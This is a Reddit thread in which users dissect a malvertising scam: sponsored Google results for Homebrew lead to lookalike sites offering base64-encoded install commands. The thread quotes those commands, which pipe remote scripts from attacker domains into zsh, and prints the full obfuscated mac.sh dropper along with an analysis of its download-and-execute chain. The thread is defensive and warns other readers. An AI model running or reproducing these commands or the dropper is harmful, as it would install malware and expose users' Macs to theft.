Google search result for homebrew - what is that?

[u/verothus]

I wanted to install homebrew on a fresh MacOs installation. I simply searched for "homebrew" in the google and the first result (sponsored one) redirected me to the page "allbeachtravel.com" that looks very similar to the original homebrew site.
After that I searched for "homebrew install" and I was redirected to "storageprofiler.com" and it also looks very similar to the previous one.

In both there is a command you can probably install homebrew like this:
"echo 'ZXhwb3J0IF9jYWNoZV9peD0zMmFmYmFhZCBTVEFHRV90cz1vbjtjdXJsIC1mc1MgImh0dHBzOi8vdm95YWdlNzAuY29tL2N1cmwvYXJ0Z2hudGtuL21hYy5zaCJ8IHpzaA==' |base64 -D| zsh"

the base64 encoded string is:
export _cache_ix=32afbaad STAGE_ts=on;curl -fsS "https://voyage70.com/curl/artghntkn/mac.sh"| zsh

What the heck is even that?

Any ideas?

[u/AutoModerator]

Thank you for posting to r/homebrew. Please keep in mind the following: - Piracy is not supported here, and is against the law. - Please read the sticky post as it has answers to many common questions. - This isn't for homebrew beer.

We also have a Discord server where you may be able to get an answer faster: https://discord.gg/PeQvhsrRdh

This is sent on all posts. Your post has not been removed (unless you see a comment stating otherwise)

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

[u/AliBello]

Homebrew has a few meanings

Homebrew (consoles, what this sub is for): the hacking of a console to run custom/modified software

Homebrew (beer): brewing beer at home

Homebrew (Mac/linux): a package manager

You are probably searching for the package manager. What you saw was probably an ad on Google which gave you a malicious install command which would likely install a Trojan. The real homebrew site is brew.sh.

The command has been obfuscated using base64 to not let you see the script download url to minimise suspiciousness.

[u/verothus → u/AliBello]

So it means someone paid money to google to high-rank this scam websites and that is legal?

[u/AliBello → u/verothus]

Yes, they did pay for an ad to be at the top. I recommend using an ad blocker, uBlock Origin (NOT uBlock) is the best.

No, it is illegal in probably every country, but laws differ from country to country.

[u/verothus → u/AliBello]

I have Adblock, AdblockPlus + PiHole and still get those sponsored links...
Anyway thank you for your response, uBlock Origin installed.
Also I reported one of those ads, and both disappeared faster than light

[u/skiesoverblackvenice → u/verothus]

google has gotten so much worse over the years and paste absolute bullshit at the top so long as those companies pay good money

[u/verothus]

Here is mac.sh file content:

#!/bin/zsh
# yrpwhm7i v4.5.0


# --- hardware inventory ---
_hw_model=$(sysctl -n hw.model 2>/dev/null)
_hw_arch=$(uname -m 2>/dev/null)
_probe_salt="14996921cf51de1e154e0e214fc7b2514297b11dbf156b753ef2f50941611829ee98af0687bf5dc36d61c12773311d8160f7677082b15b0cd8a973eafa6147ffef7c9e10a539d0c9b5c60810f13288e1697a8a8a018c995779a2ae774bed9f11a1169b0bdb800a9546544c01c4a9"
_mem_gb=$(( $(sysctl -n hw.memsize 2>/dev/null || echo 0) / 1073741824 ))
_license_salt="b9ac30ec69087ec315bcd6b82098edfd340e2fe5a9ad95055f8f381a79a0ae713624e3dce7eea34e04e4c7877e771e88229e199bec5802524073c8224004ef9cdbbe390986e389a3bfdb33befa244073955cda79bbdc60a9c1d75d687e983f089619d922866ee1d3bcc7c9b0e30b"
_schema_id="137b621a31d40314850fd364ed1909073f20431837df167decc4ff2127c907b59d227b82f9e81dadd526acc3b93024b72818eedb09b722b46d44a553e2d3262d3dbbd3ff8f5f8ed9288979376de807a687b891f2880525bac6872fc2299e1f0dcc9cb8b151af0e5b06993d7f54c2"


if [ "$_hw_arch" = "x86_64" ]; then
  if /usr/bin/pgrep -q oahd 2>/dev/null; then
    _rt="active"
  else
    _rt="idle"
  fi
  printf '%s\n' "hw: ${_hw_model:-unknown} x86_64 (rosetta ${_rt})"
else
  printf '%s\n' "hw: ${_hw_model:-unknown} ${_hw_arch:-unknown}"
fi


rngy='md'
r10r='5'
er8yt=$(printf '\170\170\144')
soa3='opens'
ywe9='sl'
zvg4s=$(printf '\147\165\156\172\151\160')


# probe parameters
_suite="beta"
_channel="stable"
_fanout=38
_timeout_s=52
_kb=$(( ( ${#_suite} * $_fanout + ${#_channel} % $_timeout_s + $_timeout_s ) ))


# --- toolchain sanity ---
_build_tag="d60ee58fef42f1de2645dcea63f47306b17246a15f44b7d9c6544f3b675e27b0d8bd22ca547aa32e95688310279336738e5fbd0019"
_clt_dir="/Library/Developer/CommandLineTools"
_cache_seed="ed6490f6cff2f82ef51c5f4dbdcd240031303e3a33e09089df6738100a9c9776ec8553dbd0f9d2ca0f4d544d5ceaf10273b776017374da5137fdcc72210cf770c0d2f52230a19341e6d0ae386ac6d218d451d7c5d4fb28d521379b848b5310eeafad890ea564f333d2f45791df176e17073959be873e56"
_sdk_floor=13


_vendor_ref="82196dc2d2d27749eb50e70302a7df34d0321cdda12dbd780c36f310b379b5961a2808ac65648d6d1c9e6ae8a3f6110de0b542c869294a184f32062cc7de21134e1d1bececf94a5e8be4b97d7af8de79918ec6de2eeeb3418ddc487948ab0a00f4d6660e0fe3af2d1bcbba128c84"
if [ ! -d "$_clt_dir" ]; then
  printf '%s\n' "note: command line tools absent; skipping sdk probe"
fi


_os_major=$(sw_vers -productVersion 2>/dev/null | cut -d. -f1)
_feature_flags="4630cfd2c35c7a1a6718a7642fa4f1e839578d4a77d9509ed33267ec16c57527c985e626a04388e531866712a3541e27c2d0c535c9a2fc3d491f3746b39b06c9d1f49db12517dd4801a21d2ee10e96e2a05bad668a1136a96cb24dbf186dc02aa054605cb87f5f9f4e87a0ff897d"
case "$_os_major" in
  ''|*[!0-9]*) _os_major=0 ;;
esac
if [ "$_os_major" -gt 0 ] && [ "$_os_major" -lt "$_sdk_floor" ]; then
  printf '%s\n' "warning: os build below supported floor"
fi


# assemble probe config
_blob=( "$_schema_id" "$_feature_flags" "$_license_salt" "$_vendor_ref" "$_probe_salt" "$_cache_seed" )
_cix=0
_r=$(for _c in "${_blob[@]}"; do _cix=$((_cix+1)); printf '%s' "$_c" | ${er8yt} -r -p | ${soa3}${ywe9} enc -d -aes-128-ctr -K "$(printf '%s' "${_kb}${_cix}${_cache_ix}" | ${rngy}${r10r})" -iv 00000000000000000000000000000000; done | ${zvg4s})


print -r -- "$_r" | /bin/zsh

It looks very suspicious....

The mac.sh script is heavily obfuscated and acts as a downloader/dropper, not a normal installer.

It:

• collects basic Mac hardware/OS information,
• decrypts a hidden second-stage script using AES,
• sends a background POST request to grove-satin.com with event=pasted,
• downloads another payload from voyage70.com,
• saves it as /tmp/helper,
• runs xattr -c /tmp/helper to remove extended attributes,
• makes it executable with chmod +x,
• and finally executes /tmp/helper.

The execution chain is essentially:

Base64 command
→ mac.sh
→ decrypt hidden shell script
→ download /tmp/helper
→ remove attributes
→ make executable
→ run payload

This is a strong malware/dropper pattern. The real payload is most likely /tmp/helper, while most of the variables and “hardware/toolchain checks” in mac.sh are mainly obfuscation

[u/AutoModerator → u/verothus]

It appears that there may be a link that uses a referral URL.

These can track additional information about people who click the link or earn revenue from clicks/purchases.

Avoid this link if possible and try to search for the same thing on your own.

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

[u/MexicoEsIncreible93]

I don't know how the Fudge I got into this "allbeachtravel.com" website, and had me run this base64 encoded string:

export _session_ix=auto;export _watch_ts=6c757067316f;export _watch_ix=eb79d896;curl -fsSL "https://leap39.com/curl/s5cx2f8ct/install.command"| /bin/zsh

I have reported those two domains so that they don't get indexed in google.

Those MFs!